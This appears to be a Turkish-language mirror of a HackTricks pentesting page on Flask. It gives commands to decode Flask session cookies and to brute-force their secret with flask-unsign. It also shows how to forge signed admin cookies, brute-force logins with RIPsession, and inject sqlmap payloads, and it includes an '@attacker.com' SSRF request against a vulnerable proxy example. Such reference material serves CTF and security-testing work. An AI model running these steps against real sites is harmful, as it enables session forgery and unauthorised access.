mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
124 lines
5.9 KiB
Markdown
124 lines
5.9 KiB
Markdown
# Flask
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="../../.gitbook/assets/image (515).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=flask) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturun ve **otomatikleştirin**.\
|
||
Bugün Erişim Alın:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
|
||
|
||
**Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/) **ile ilgili olacaktır.**
|
||
|
||
## Çerezler
|
||
|
||
Varsayılan çerez oturum adı **`session`**'dır.
|
||
|
||
### Decoder
|
||
|
||
Çevrimiçi Flask çerezleri decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
||
|
||
#### Manuel
|
||
|
||
Çerezin ilk kısmını ilk noktaya kadar alın ve Base64 ile decode edin.
|
||
```bash
|
||
echo "ImhlbGxvIg" | base64 -d
|
||
```
|
||
Çerez ayrıca bir şifre kullanılarak imzalanmıştır.
|
||
|
||
### **Flask-Unsign**
|
||
|
||
Bir Flask uygulamasının oturum çerezlerini gizli anahtarları tahmin ederek almak, çözmek, kaba kuvvetle denemek ve oluşturmak için kullanılan komut satırı aracı.
|
||
|
||
{% embed url="https://pypi.org/project/flask-unsign/" %}
|
||
```bash
|
||
pip3 install flask-unsign
|
||
```
|
||
#### **Çerezleri Çöz**
|
||
```bash
|
||
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
|
||
```
|
||
#### **Kaba Güç**
|
||
```bash
|
||
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
|
||
```
|
||
#### **İmza**
|
||
```bash
|
||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
|
||
```
|
||
#### Eski sürümleri kullanarak imzalama
|
||
```bash
|
||
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||
```
|
||
### **RIPsession**
|
||
|
||
Flask-unsign ile oluşturulmuş çerezleri kullanarak web sitelerine brute-force saldırısı yapmak için komut satırı aracı.
|
||
|
||
{% embed url="https://github.com/Tagvi/ripsession" %}
|
||
```bash
|
||
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
|
||
```
|
||
### SQLi in Flask session cookie with SQLmap
|
||
|
||
[**Bu örnek**](../../pentesting-web/sql-injection/sqlmap/#eval) sqlmap `eval` seçeneğini kullanarak **flask için sqlmap yüklerini otomatik olarak imzalamayı** sağlar, bilinen bir gizli anahtar kullanarak.
|
||
|
||
## Flask Proxy to SSRF
|
||
|
||
[**Bu yazıda**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır:
|
||
```http
|
||
GET @/ HTTP/1.1
|
||
Host: target.com
|
||
Connection: close
|
||
```
|
||
Aşağıdaki senaryoda:
|
||
```python
|
||
from flask import Flask
|
||
from requests import get
|
||
|
||
app = Flask('__main__')
|
||
SITE_NAME = 'https://google.com/'
|
||
|
||
@app.route('/', defaults={'path': ''})
|
||
@app.route('/<path:path>')
|
||
def proxy(path):
|
||
return get(f'{SITE_NAME}{path}').content
|
||
|
||
app.run(host='0.0.0.0', port=8080)
|
||
```
|
||
Şunu girmeye izin verebilir: "@attacker.com" böylece bir **SSRF** oluşturulabilir.
|
||
|
||
<figure><img src="../../.gitbook/assets/image (515).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **iş akışlarını** kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=flask) kullanın.\
|
||
Bugün Erişim Alın:
|
||
|
||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|